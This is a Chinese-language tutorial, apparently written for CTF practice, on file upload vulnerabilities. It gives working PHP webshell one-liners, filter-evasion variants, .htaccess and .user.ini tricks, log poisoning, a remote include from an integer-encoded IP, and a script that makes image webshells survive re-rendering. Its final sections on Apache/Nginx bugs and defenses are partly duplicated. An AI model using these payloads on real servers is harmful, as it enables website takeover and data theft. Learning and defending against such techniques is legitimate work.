文件上传
文件上传漏洞产生的原理
文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。
文件上传漏洞的危害
1、由于是上传的文件,所以文件由用户决定,上传webshell后门,直接获取网站权限。
2、导致网站所在的服务器沦陷
这里需要注意一个地方就是:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess
文件上传分类
1、常规类
常规类的文件上传,漏洞出现在代码块。并且有以下检测。
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
前端和后端验证:
前端通过JS类防护,前端是用户自己可以控制的,不安全。
后端是服务器控制,相对前端安全一些。
如何判断前端和后端?
除了通过查看网页源代码之外,还可以通过burp suite抓包。如果在文件上传之前,就提示有防护,那么就是一个前端防护,如果是在抓到包之后,放包的时候提示有防护,那么就是一个后端防护。
黑名单:不允许xxx上传。
白名单:只允许xxx上传。
所以白名单比黑名单更安全。
(1)前端绕过
如果只有前端,可以直接上传允许上传的文件,通过抓包修改后缀,或者MIME类型(Content-Type:image/png)
(2)黑名单绕过
1、特殊解析后缀
PHP:
php2、php3、php5、phtml、pht、php4、html等后缀(是否解析需要根据配置文件中设置类型来决定)
ASP:
asa、cer、cdx、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf
特殊后缀解析,利用条件,需要配置文件。
打开Apache的配置文件httpd.conf
搜索AddType application/x-httpd-php,在后面加上.php3 和.php5
AddType application/x-httpd-php .php .phtml .php3 .php5
改完以后重启Apache服务
利用方法:如果有增加这个配置,那么就可以通过这个特殊后缀绕过黑名单
2、.htaccess解析
.htaccess只存在于apache中,
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
虽然.htaccess只存在于apache中,但是nginx通过设置也可以使用。
<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>
or
Addtype application/x-httpd-php .png
ps:这里说的意思就是,文件名中含有xxx的文件,将被当成php代码去执行。
利用方法:可以先上传一个.htaccess文件,然后再上传xxx文件名,使得xxx文件被当成php代码执行。
3、.user.ini解析
.user,ini
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
利用条件:
这与.htaccess有着异曲同工之妙处。但是.user.ini适用的更广,但是又有限制条件。
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。同时php版本为7.x
利用方法:
先上传一个.user.ini文件。
auto_prepend_file=1.png
auto_append_file=1.png
ps:这两个都可以使用,区别在于一个是文件加载之前执行,一个在文件加载之后执行。
然后再上传1.png文件,这里文件名需要跟上面.user.ini文件里面的文件名一致。
<?php eval($_POST[x]);?> 密码:x
然后再访问上传的文件地址下面的index.php文件,就可以执行命令
url/upload/index.php
然后post传参:
x=system('tac ../flag.php');
或者蚁剑连接
url/upload/index.php
重要思路:
所以如果在没有这个index.php的文件情况下,我们可以自己先上传一个index.php文件,内容随便,或者为空都行。
4、检测文件内容
因为我们的后门代码是
<?php eval($_POST[x]);?>
如果<?php被检测,过滤掉了。
利用<?=?>的写法 这个不需要开启配置
<?=eval($_POST[x]);?>
把这个一句话木马写入1.png
然后使用蚁剑去连接或者命令执行
如果同时把[]符号过滤了。
<?=eval($_POST{x});?> 换成{}大括号即可 php支持这个写法
如果同时把[]、{}、; 都过滤掉了。
由于我们这里最终目的是读取flag.php,所以修改为直接执行命令。
<?=system('tac ../flag.*')?>
ps:* 星号的意思是flag文件名的所有后缀。
如果把system也过滤了
<?=`tac ../flag.*`?>
可以利用反引号,去代替system_exec(),当然了得这个system_exec()打开。
ps:这是不是单引号,而是反引号
因为我们的函数,一般都是xxx(''),如果用反引号代替了函数之后,那么
<?=system('tac ../flag.*')?> 与 <?=`tac ../flag.*`?> 一样的效果
如果把反引号、log也过滤
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
ps:
.在php中是连接符的意思。
为什么这么写呢?是因为这里也过滤了log,所以要把log拆开。
这是一个nginx中间件靶场的文件上传,
利用思路,访问nginx的日志文件,日志文件里面有什么?会记录,访问信息。然后在UA头里面,写入后门代码。然后利用文件包含去包含这个文件,来触发后门代码。如果是其他中间件,则找其他中间件的日志文件。
nginx的日志文件:
var/log/nginx/access.log
所以解题思路:
先上传一个1.png文件,内容为包含日志文件的地址,因为有过滤,所以要拆开写,如果没有过滤,就可以直接写。
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后再上传.user.ini文件,内容为
auto_prepend_file=1.png 包含1.png
两个文件都上传之后,再去访问url/upload,就会出现日志信息。
然后再次访问url并抓包,在UA头这里写入后门代码,这样后门代码就不会被过滤了,然后就可以执行命令。x=system();
或者
<?php $a='syste'.'m';$a('tac ../flag.php');?>
ps:变异代码
5、检测文件头
如果在检测文件内容的时候,同时检测文件头。
在上传文件的时候就可以在前面加上GIF的文件头。
比如上传.user.ini
GIF89A
auto_prepend_file=1.png
6、IP转int数字
如果把上面的都过滤了,而且还过滤了 . 同时还检测文件头。
还是先上传.user.ini
GIF89A
auto_prepend_file=png
ps:因为检测 . ,所以文件名不能带 . ,直接png就行
然后上传png文件
ps:这里由于. 被过滤了,所以常规的后门代码已经不行了。可以利用把后门代码写在远程服务器上,然后访问这个远程服务器的地址就行了。
GIF89A
<?=include'http://3232235781'?>
ps:这里直接搜IP转int数字。
http://www.esjson.com/iptoint.html
然后再访问url/upload/index.php,调用后面代码即可。
7、删除文件
遇到删除文件的,有两种类型。一种是什么文件都删除,一种是删除后门代码。如果是什么都删除的情况下。可以利用条件竞争。
1、条件竞争,再文件上传成功之后,马上访问文件,创建型代码(代码被执行后重新创建一个文件)
利用方法:
比如上传文件的地址是upload/png
那么在没上传之前一直访问upload 然后post:代码(利用php创建一个文件)
2、直接利用.user.ini包含远程地址
由于会删除png文件,但是不会删除.user,ini文件
所以直接在上传.user.ini的时候,就包含远程地址
GIF89A
auto_prepend_file=http://3232235781
然后再直接访问url/upload/index.php 执行远程代码文件即可
8、二次渲染
二次渲染就是在我们上传的图片后,网站会对图片进行二次处理,比如对图片的尺寸、格式、以及网站对图片进行定义的一些要求等进行处理,并且服务器会对里面的内容进行二次替换更新,在处理完后,会生成一个合规的图片在网站上显示出来。
在png里写入后门代码
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png'); #保持在本地的图片马
?>
这里直接复制这段代码,到phpstudy文件夹目录下的WWW。保存为1.php
然后开启phpstudy环境,浏览器访问127.0.0.1/1.php,然后再回到WWW文件夹下,就会出现1.png图片马了。
然后直接上传这个1.png图片马。
得到地址url/download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png
注意这里的二次渲染,给的路径是download.php 这里才能执行成功为php代码 如果给的是upload/xxx/xxx.png 这种格式的话,就不能执行成功。这里是为了解题,所以才留下的漏洞。
然后访问图片地址,进行抓包。。
然后在repeater模块 修改post为1=tac ./flag.php
二次渲染,图片马制作。
参考博客https://blog.csdn.net/qq_40800734/article/details/105920149
9、大小写绕过
后缀大小写是通过服务端未将后缀进行统一的格式转换,导致可以上传PHP的文件,同时由于Windows系统对后缀大小写并不敏感,所以当在写PHP的改成Php就会被当作PHP进行解析。
10、点绕过
点绕过其实就是利用了Windows对文件和文件名的限制,当将点放在结尾的时候,就会触发操作系统的命名规范问题,所以在生成文件的时候,添加在结尾的点就会被去除。
11、空格绕过
空格绕过和点绕过是一样的,都是利用操作系统的特性来进行解析绕过。
12、::$$DATA绕过
在window的时候如果文件名+"::$DATA"
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,他的目的就是不检查后缀名.
例如:"phpinfo.php::$DATA"
Windows会自动去掉末尾的::$DATA
变成"phpinfo.php"
13、双后缀名绕过
服务端可能存在将后缀替换为空的情况,但是这就存在一种可能就是在编辑过滤的时候只过滤了一次,所以就出现了可以通过双写就绕过的可能。
有人写代码的时候呢,将过滤的条件只写一次,所以可以在文件后缀写上两次pphphp,将中间的php过滤之后,还剩下php。就成功绕过。
同样这个思路,还可以这样想,. 和 空格过滤的时候,可以111.php. 空格 .
这样,先去除一次空格,再去除一次. 就剩下111.php. 这个不就是我们的.过滤嘛?
(3)白名单绕过
1、%00截断
%00不是代表空格,而是null,一个空字符,当程序执行到%00后,那么后面的数据就会停止,意思就是误当作结束符,把后面的数据直接忽略了,这就会导致漏洞产生。
在文件上传后,利用%00截断,在文件扩展名验证的时候,就会取文件的扩展名进行验证,但是在最后保存在本地的时候,%00就会截断文件名,只保存%00之前的内容。
%00只能用于php版本低于5.3的
而且%00截断是建立在地址上面的截断,而不是文件名的截断。也就是需要上传路径可控。
原理就是,比如在…upload/这个地址,它会在这个地址的后面加上时间然后.xxx ,你的上传文件格式。3123123.xxx
而%00截断就是,在…upload/这个地址后面加上…upload/1.php%00
这样就变成了1.php%00312341.jpg 而后面都被截断了,就只剩下1.PHP
ps:注意在%00截断的时候,会有GET、POST的区别。
在GET中,%00截断会自己解码,而在POST中不会自己解码,所以在POST使用%00截断的时候,需要自己将%00进行url解码。而且将hex值也随之修改。
2、条件竞争
条件竞争就是在源代码中是存在校验的,但是校验是在文件上传后,才开始校验,也就是文件先上传至服务器中,然后服务器会对该文件进行校验,当符合的时候则会对文件进行重命名,当文件不符合要求的时候就对将文件进行删除。
而我们则需要在服务器对文件删除前进行访问,由于文件在访问过程中,服务器是无法删除的(有点像windows下,打开文件的同时又删除或者修改文件),所以就可以利用这个节点实现条件竞争。
3、突破gatimagesize
etimagesize函数是用于获取图像大小及相关信息,成功返回一个数组,失败则返回false产生一条e_warning级的错误信息。
通过对图片及代码进行合成图片马,这个时候getimagesize函数既可以获取图片信息,文件后缀php也能够被解析成脚本文件,从而绕过getimagesize函数的限制。
但是注意的是,需要存在文件包含漏洞,才能将图片马执行为脚本代码。
4、突破exif_imagetype
服务器exit_imagetype()函数检测上传图片类型是否为白名单图片格式来验证上传文件合法性。
同理可以通过制作图片马绕过,再配合文件包含漏洞解析文件来获取服务器配置信息。
5、MIME绕过
$_FILES'myFile' 上传文件的原名称
$_FILES'myFile' 文件的 MIME 类型
$_FILES'myFile' 已上传文件的大小,单位为字节
$_FILES'myFile' 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定
$_FILES'myFile' 和该文件上传相关的错误代码
2、cms类
与编辑器一样,都是去查找,该cms版本是否存在文件上传漏洞。
3、编辑器类
编辑器也就是在线的web编辑器,比如在搭建博客后需要发布文章,那么用来发布文章的界面就是web编辑器。当然web编辑器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。
如果发现网站有编辑器插件,那么可以寻找一下这个编辑器的版本有没有漏洞。
4、其他类/CVE
ISS6/7.x
windows server2003 windows server2008
iis6.0
文件夹
正常文件xxxx/qq.jpg
xxxx.asp/qq.jpg qq.jpg就会被当做asp解析
文件
正常文件image.jpg
image.asp;.jpg或xxxx.asp;xxxx.jpg 此文件就会被当成asp代码执行
asp可以换成php,如果换成了php ,就被当初php执行。
iis7.x与nginx解析漏洞一样
Apache
Apache解析漏洞,适用于低版本的apache,比如正常文件是xxx.php,
这是有一个文件是xxx.php.yyy,因为不能解析yyy,所以向前解析,直到解析到正确的为止。
利用场景:如果对方中间件apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中后门代码被触发。
Apache 换行解析 配置不当
1、换行解析-CVE-2017-15715
其2.4.0~2.4.29版本中存在一个解析漏洞
2、配置不当-.htaccess配置不当
AddHandler application/x-httpd-php .php
Nginx
Nginx 文件名逻辑 解析漏洞
1、文件名逻辑-CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2、解析漏洞-nginx.conf配置不当
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
文件上传漏洞的防护
文件上传漏洞的防御主要还是围绕三部分,一是文件上传路径,二是文件访问权限,三是文件执行权限。
对于图片文件的防御方法,主要是采用白名单以及图片渲染。另外的一种方法是将用户上传的文件都放到指定的目录中,同时在服务器配置中设定该目录下的所有文件不可执行,但是该方法存在的风险即是在路径可知的情况下配合文件包含漏洞即可突破。
于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中后门代码被触发。
Apache 换行解析 配置不当
1、换行解析-CVE-2017-15715
其2.4.0~2.4.29版本中存在一个解析漏洞
2、配置不当-.htaccess配置不当
AddHandler application/x-httpd-php .php
Nginx
Nginx 文件名逻辑 解析漏洞
1、文件名逻辑-CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2、解析漏洞-nginx.conf配置不当
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
文件上传漏洞的防护
文件上传漏洞的防御主要还是围绕三部分,一是文件上传路径,二是文件访问权限,三是文件执行权限。
对于图片文件的防御方法,主要是采用白名单以及图片渲染。另外的一种方法是将用户上传的文件都放到指定的目录中,同时在服务器配置中设定该目录下的所有文件不可执行,但是该方法存在的风险即是在路径可知的情况下配合文件包含漏洞即可突破。
因此,个人觉得针对文件上传的最好防御方法即是让上传路径不可知,将用户上传文件的路径保存到数据库中,并且在需要的时候再去读取加载。